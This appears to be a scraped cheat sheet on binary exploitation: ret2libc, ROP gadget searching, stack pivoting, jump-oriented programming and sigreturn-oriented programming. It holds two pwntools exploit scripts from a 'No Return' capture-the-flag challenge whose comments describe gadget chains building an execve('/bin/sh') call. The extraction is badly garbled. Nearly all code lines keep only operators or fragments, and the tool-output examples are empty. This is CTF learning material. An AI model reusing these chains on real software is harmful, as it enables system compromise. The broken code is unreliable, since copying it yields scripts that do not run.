Link to this headingRet2libc
When the stack is not executable running executable code can be done though the shared libraries.
https://shellblade.net/files/docs/ret2libc.pdf
Finding functions to call in libs:
|
Finding offsets of strings:
|
Link to this headingReturn Oriented Programing (ROP)
Uses Gadgets of minimal ASM followed by a return to hop to the next gadget.
Ropper
Quick RCE with ROP
Search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.
Link to this headingOne Search gadget
Find Shell in Glibc:
>>> one_gadget
)
||
||
)
||
||
)
||
||
Link to this headingRop Searcher with r2
>>> r2
)
)
)
)
Sample ROP Gadgets to look for:
/R/ pop [re][abcds][ix](Put something into a register from the stack)/R/ xchg [re]sp(Exchange something on the stack with a register)/R/ mov \[[reabcsix]+\]>, [reabcsix]+(Arbitrary write from second address to first address)
Link to this headingStack Pivoting
This is used when you do not control enough of the stack or when you cant overwrite things on the stack.
Finding a Stack Pivot Gadget:
Link to this headingJump Oriented Programing (JOP)
This was taken from the No Return challenge
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
# Set up pwntools for the correct architecture
= =
# Set up pwntools for the correct architecture
=
=
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
#######################################################################################
# 3rd JOP Gadget: Copy the Current stack pointer into RCX. This contains the
# 0x000000000040101c: mov rcx, rsp; std; jmp qword ptr [rdx];
#######################################################################################
#######################################################################################
# 4rd JOP Gadget: Swap the RBP Gadget in RDI to RCX. Swap the exec string to RDI
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
#######################################################################################
# 5th JOP Gadget: Set the RCX register to the exec string.
# While the value is not needed it increases the stack pointer.
# The RBP Gadget in RDX is copyed backover to RCX.
# The syscall number will be inserted into RDX. (Will be swapped with RAX)
# 0x000000000040104c: pop rcx; mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
#######################################################################################
# 6th JOP Gadget: Move the 0x00 in RAX to RDX and move the syscall number from RDX to RAX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
#######################################################################################
# 7th JOP Gadget: Everything is setup now lets call syscall
# 0x0000000000401082: syscall;
#######################################################################################
return b
= or
=
return
return
'''Connect to the process on the remote host'''
=
return
'''Start the exploit against the target.'''
return
return
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
=
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
=
### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
=
### Read the leak for a pointer to the stack
=
# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
= +
#Get the enviroment pointer
= +
=
#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
= b
#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
+=
# pop rsp
# Set the stack pointer to the begining of the Stack Payload
+=
# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
=
# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
+=
# pop rbp
# Set RBP + 0x39 to point to the gadget table. This makes it when the add happens it goes to the next gadget
# Set this to 0x39 less than the gadget list
= + 0x39
+=
# pop rdx
# RDX will the Second Gadget The RBP gadget
+=
# pop rcx
# RCX will be pointer to
+=
# pop rbx
# This is padding for the data to be loaded into rbx
+=
# This is the place the RSP will be pointing to when the 3rd JOP gadget is executed
# This is also where the pop rcx is done but then imedetly overwitten
+= b
# pop rdx
# This is the syscall number and will be swapped with rax
+=
#Set up the Gadget list
=
#Setup payload structure
=
Link to this headingMixed JOP and ROP
This was also taken from the No Return Challenge.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
# Set up pwntools for the correct architecture
= =
# Set up pwntools for the correct architecture
=
=
#Second Gadget
#0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#Third Gadget
#0x0000000000401062: ret;
return b
'''Start the exploit against the target.'''
return
return
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
=
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
=
### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
=
### Read the leak for a pointer to the stack
=
# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
= + 0x08 * 2
#Get the enviroment pointer
= + 0x08 * 3
=
#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
= b
#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
+=
# pop rsp
# Set the stack pointer to the begining of the Stack Payload
# -0xB8
+=
# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Exchange rdi and rcx to set the rdi varable to the executable to run
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
=
# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
+=
# pop rbp
# The RBP is not needed just filled with padding
+= b
# pop rdx
# RDX will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 3rd JOP Gadget: The Ret instruction lets us change from JOP to ROP
# 0x0000000000401062: ret;
#######################################################################################
+=
# pop rcx
# Since RCX will be swapped with RDI in the Second Gadget this will contain a pointer to the executable string.
# This string is at the end of the payload and can only be calculated after knowing the length of the payload
+=
# pop rbx
# This is padding for the data to be loaded into rbx
+= b
# Because the RCX Register has ret gadget it is possoble to make this a ROP chain
# The limiting factor is that all of the Gadgets must end with jmp qword ptr [rcx];
# This makes it so that the next instruction can be poped off the stack and executed.
# This works since the ret JOP gadget is loaded in to the RCX register
#######################################################################################
# 1st ROP Gadget: Lets copy the ret gadget into RCX and set RDX to be switched into RAX
# 0x000000000040104d: mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
+=
#POP RDX to be put into RAX
+=
#######################################################################################
# 2nd ROP Gadget: Lets set RAX by swaping with RDX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
+=
#######################################################################################
# 3nd ROP Gadget: Lets set RDX
# 0x0000000000401050: pop rdx; jmp qword ptr [rcx];
#######################################################################################
+=
# pop RDX
# This is the enviroment pointer
#stack_payload += p64(env_pointer)
+=
#######################################################################################
# 4nd ROP Gadget: Everything is setup lets execute the syscall
# 0x0000000000401082: syscall;
#######################################################################################
+=
#Here is the shell varable at the offset -0x58
+= b
#Set up the Gadget list
=
#Setup payload structure
=
#print(util.fiddling.hexdump(payload, groupsize=16))
Link to this headingSigreturn-oriented programming
When a signal occurs, the kernel “pauses” the process’s execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. This can modify all registers in an cpu including stack pointer, instruction pointers and others
If the attacker can write values on to the stack they can forge a sigcontext structure